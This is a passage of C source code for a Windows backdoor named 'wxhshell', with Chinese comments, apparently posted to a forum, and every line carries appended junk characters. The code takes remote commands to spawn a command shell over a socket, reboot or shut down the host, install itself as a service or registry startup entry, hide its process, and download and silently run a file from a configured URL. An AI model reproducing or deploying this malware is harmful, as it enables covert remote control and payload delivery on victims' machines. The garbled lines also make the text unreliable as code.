      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gbeghLP[?  
    break; /I5X"x  
  } |'ln?D:&  
  // 安装 n6d9 \  
  case 'i': { V"o7jsFH6n  
    if(Install()) Jf)bHjC_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u=F+(NE"  
    else \6?A!w~6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #o/ H~Iv  
    break; 5Z/GK2[HL  
    } hRI"y":zD  
  // 卸载 qSqI7ptA\  
  case 'r': { keW~ NM  
    if(Uninstall()) PP~rn fE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -4rDbDsr  
    else kd:$oS_*s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c3*t_!@oC  
    break; SKuIF*"! S  
    } )0vU k  
  // 显示 wxhshell 所在路径 EFuvp8^y  
  case 'p': { W!blAkM%i  
    char svExeFile[MAX_PATH]; mME 4 l  
    strcpy(svExeFile,"\n\r"); jr7C}B-Fb^  
      strcat(svExeFile,ExeFile); B_U{ s\VY  
        send(wsh,svExeFile,strlen(svExeFile),0); FsB^CxVg  
    break; ,t{,_uPJY  
    } {Sl57!U5  
  // 重启 OdWou|Gz  
  case 'b': { xqXDxJlns  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SVlua@]ChU  
    if(Boot(REBOOT)) Ok7t@l$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@8vL  
    else { f'Iz G.R  
    closesocket(wsh); o*x*jn:hm  
    ExitThread(0); p(xC*KWB  
    } XoL JL]+?  
    break; [ xOzzp4  
    } $WYbm}j  
  // 关机 I$NhXZ)KT  
  case 'd': { EV#MQM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tkQH\5  
    if(Boot(SHUTDOWN)) =~Ynz7 /x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@-9'<K?~  
    else { ML-)I&>tT  
    closesocket(wsh); |4mpohX  
    ExitThread(0); Cz4)Yz  
    } KfBTL!0#  
    break; _rV5E  
    } S-31-Zjw  
  // 获取shell ]q- g[e'  
  case 's': { id<:p*  
    CmdShell(wsh); BR^7_q4q  
    closesocket(wsh); y-p70.'{U  
    ExitThread(0); x\&`>>uA  
    break; ^_5L"F]sP  
  } ihh4pD27g  
  // 退出 Q9d`zR]  
  case 'x': { MS(JR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k4qp u=@U  
    CloseIt(wsh); \Gm-MpW  
    break; %p^.\ch9  
    } >e2<!#er|  
  // 离开 R(P%Csbqh  
  case 'q': {  $Y=T&O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :+{ ?  
    closesocket(wsh); ,*4p?|A  
    WSACleanup(); ZT02"3F  
    exit(1); 1:NrP'W^  
    break; =NbI%  
        } aK,z}l(N  
  } gH2,\z`[4  
  } B63pgPX  
{QBB^px  
  // 提示信息 x}U8zt)yD3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ze_{=Cv&Y  
} j-CnT)W<  
  } Ngr/QL]Q  
VIP7OHJh  
  return; G*S|KH  
} B!gGK|8  
DjU9 uZT  
// shell模块句柄 SVjl~U-^  
int CmdShell(SOCKET sock) Xi?b]Z  
{ 22kpl)vbU  
STARTUPINFO si; 2,lqsd:xM  
ZeroMemory(&si,sizeof(si)); "#v=IJy&r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vHAg-Av c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \BWyk A>  
PROCESS_INFORMATION ProcessInfo; j1SMeDDM ~  
char cmdline[]="cmd"; k5kdCC0FCk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -(`OcGM'L  
  return 0; _3]][a,  
} {_(\` >  
as=m`DqOh  
// 自身启动模式 ?[*0+h`en  
int StartFromService(void) &t5{J53  
{ !-m&U4Ku6o  
typedef struct 7&KT0a*  
{ V{|}}b?w?  
  DWORD ExitStatus; 2tROT][J%  
  DWORD PebBaseAddress; ZKg{0DY  
  DWORD AffinityMask; aNyvNEV3C  
  DWORD BasePriority; ^xf<nNF:p  
  ULONG UniqueProcessId; axHK_1N{  
  ULONG InheritedFromUniqueProcessId; k{gLMl  
}   PROCESS_BASIC_INFORMATION; {]z4k[;.h  
,!V]jP)  
PROCNTQSIP NtQueryInformationProcess; @&D?e:|!U  
;> m"x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X1 ZgSs+i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s >0Nr  
[D5t{[i  
  HANDLE             hProcess; 7_2kDDW0  
  PROCESS_BASIC_INFORMATION pbi; <foCb%$(?  
%>gW9}kB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #W.vX?-'0  
  if(NULL == hInst ) return 0; y=Mq(c:'UN  
b':|uu*/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +0),xu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;['[?wk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0&ByEN9 9  
@!&}}"<  
  if (!NtQueryInformationProcess) return 0; *9)SmS s  
b3wM;jv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {JV@"t-X3"  
  if(!hProcess) return 0; "EU{8b  
G/%iu;7ZCb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >NB?& |  
%4 \OPw&  
  CloseHandle(hProcess); 9WJz~SP+vR  
E~<`/s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IrMl:+t\  
if(hProcess==NULL) return 0; RE.r4uOJg  
9Lh|DK,nV/  
HMODULE hMod; Le"oAA#[  
char procName[255]; syip;;  
unsigned long cbNeeded; lnE+Au'  
-@>BHC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yqSs,vz  
Tz2-Bp]h  
  CloseHandle(hProcess); X7L8h'(@  
m]*Bx%-1c  
if(strstr(procName,"services")) return 1; // 以服务启动 vK$"# F~  
*5<Sr q'  
  return 0; // 注册表启动 1 nvTce  
} '8Phxx|  
|*RYq2y  
// 主模块 T5Dw0Y6u,  
int StartWxhshell(LPSTR lpCmdLine) ,ZblI O Wb  
{ jL)WPq!m+  
  SOCKET wsl; KJE[+R H+z  
BOOL val=TRUE; IlX$YOf4  
  int port=0; |^28\sm2e  
  struct sockaddr_in door; r%DFve:%  
50dGBF  
  if(wscfg.ws_autoins) Install(); P;PQeXKw  
iR$<$P5  
port=atoi(lpCmdLine); K^r)CCO  
E,n}HiAz7V  
if(port<=0) port=wscfg.ws_port; ]d[ge6  
KRJLxNr  
  WSADATA data; [OOS`N4<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \:> Wpqw  
*&AfR8x_z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {{C`mgC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ::n;VY2&  
  door.sin_family = AF_INET; P,ua<B}L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +h2eqNr  
  door.sin_port = htons(port); -/ ]W+[  
t>B^q3\q?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zo;^m|  
closesocket(wsl); J8y0d1SG  
return 1; \, !Q Jp4  
} \.XLcz  
2cu#lMq  
  if(listen(wsl,2) == INVALID_SOCKET) { HE<1v@jW  
closesocket(wsl); ,:+d g(\r  
return 1; Ld^GV   
} R{,ooxH\J  
  Wxhshell(wsl); PL{Q!QJK'  
  WSACleanup(); BQ^H? jo  
JO14KY*%  
return 0; W&h[p_0  
0iCPi)B  
} 1B*WfP~  
Qr# 1u  
// 以NT服务方式启动 (]/9-\6(#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bbxLBD'  
{ .I3?7  
DWORD   status = 0; co _oMc  
  DWORD   specificError = 0xfffffff; !~_zm*CqbZ  
tgL$"chj@x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2tayP@$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !? ^h;)a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P?BGBbC  
  serviceStatus.dwWin32ExitCode     = 0; {f9{8-W <u  
  serviceStatus.dwServiceSpecificExitCode = 0; 0oy-os  
  serviceStatus.dwCheckPoint       = 0; jClj_E  
  serviceStatus.dwWaitHint       = 0; 7\o!HMfK  
H1!iP$1#V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SM[Bv9|0  
  if (hServiceStatusHandle==0) return; HxK$4I`  
8\<jyJ  
status = GetLastError(); &Bx J  
  if (status!=NO_ERROR) -Xz?s  
{ OT %nrzP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wwKh CmH  
    serviceStatus.dwCheckPoint       = 0; n(~\l#o@  
    serviceStatus.dwWaitHint       = 0; W;?(,xx  
    serviceStatus.dwWin32ExitCode     = status; :5GZ\Z8F  
    serviceStatus.dwServiceSpecificExitCode = specificError; '2hbJk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Ps7I  
    return; t+CWeCp,  
  } T5wjU*=IL  
EoX_KG{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dQy>Nmfy  
  serviceStatus.dwCheckPoint       = 0; wx=0'T-[  
  serviceStatus.dwWaitHint       = 0; =1dI>M>tm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^s\3/z>b4!  
} qdCWy  
9Qj2W  
// 处理NT服务事件,比如:启动、停止 {#IPf0O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CeT~p6=  
{ mq/zTm  
switch(fdwControl) "S~_[/q  
{ (_* wt]"'  
case SERVICE_CONTROL_STOP: A`O<6   
  serviceStatus.dwWin32ExitCode = 0; +.[\g|G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _9:@Vl]Q@  
  serviceStatus.dwCheckPoint   = 0; xChI ,~i  
  serviceStatus.dwWaitHint     = 0; lA>\Ko  
  { j:5%ppIY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,1Qd\8N9  
  } 31Cq22"  
  return; {5c]Mn"r  
case SERVICE_CONTROL_PAUSE: N#N0Q0W=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X7UBopm&  
  break; E jEFg#q  
case SERVICE_CONTROL_CONTINUE: <<MjC5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I 5ag6l  
  break; _i}wK?n  
case SERVICE_CONTROL_INTERROGATE: L{ gE'jCC  
  break; ,xJrXPW  
}; rl:KJ\*D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b syq*  
} G,&%VQ3P>  
iNcZ)m/  
// 标准应用程序主函数 5IVksg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :lcea6iO  
{ 9T2xU3UyY  
?y},,  
// 获取操作系统版本 (k-YI{D3  
OsIsNt=GetOsVer(); jm>3bd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hr;h4J  
&UAe!{E0  
  // 从命令行安装 lp&!lb`  
  if(strpbrk(lpCmdLine,"iI")) Install(); jyW[m,#(go  
1S%k  
  // 下载执行文件 "u}9@}*  
if(wscfg.ws_downexe) { -237Lx$/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $%2_{m_K:p  
  WinExec(wscfg.ws_filenam,SW_HIDE); h~HB0^|  
}  ~QG ?k  
f F?6j   
if(!OsIsNt) { +R$?2  
// 如果时win9x,隐藏进程并且设置为注册表启动 pL oy  
HideProc(); "5DJu ~  
StartWxhshell(lpCmdLine); V7CoZnz  
} vTr34n  
else A,i()R'I  
  if(StartFromService())  vfvlB[  
  // 以服务方式启动 <FFJzNc+  
  StartServiceCtrlDispatcher(DispatchTable); cErI%v}v0  
else bk#xiuwT  
  // 普通方式启动 fhp)S",  
  StartWxhshell(lpCmdLine); RcY[rnI6  
T)u4S[ &  
return 0; s(@h 2:j  
}
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只看该作者 1 发表于: 2006-10-10
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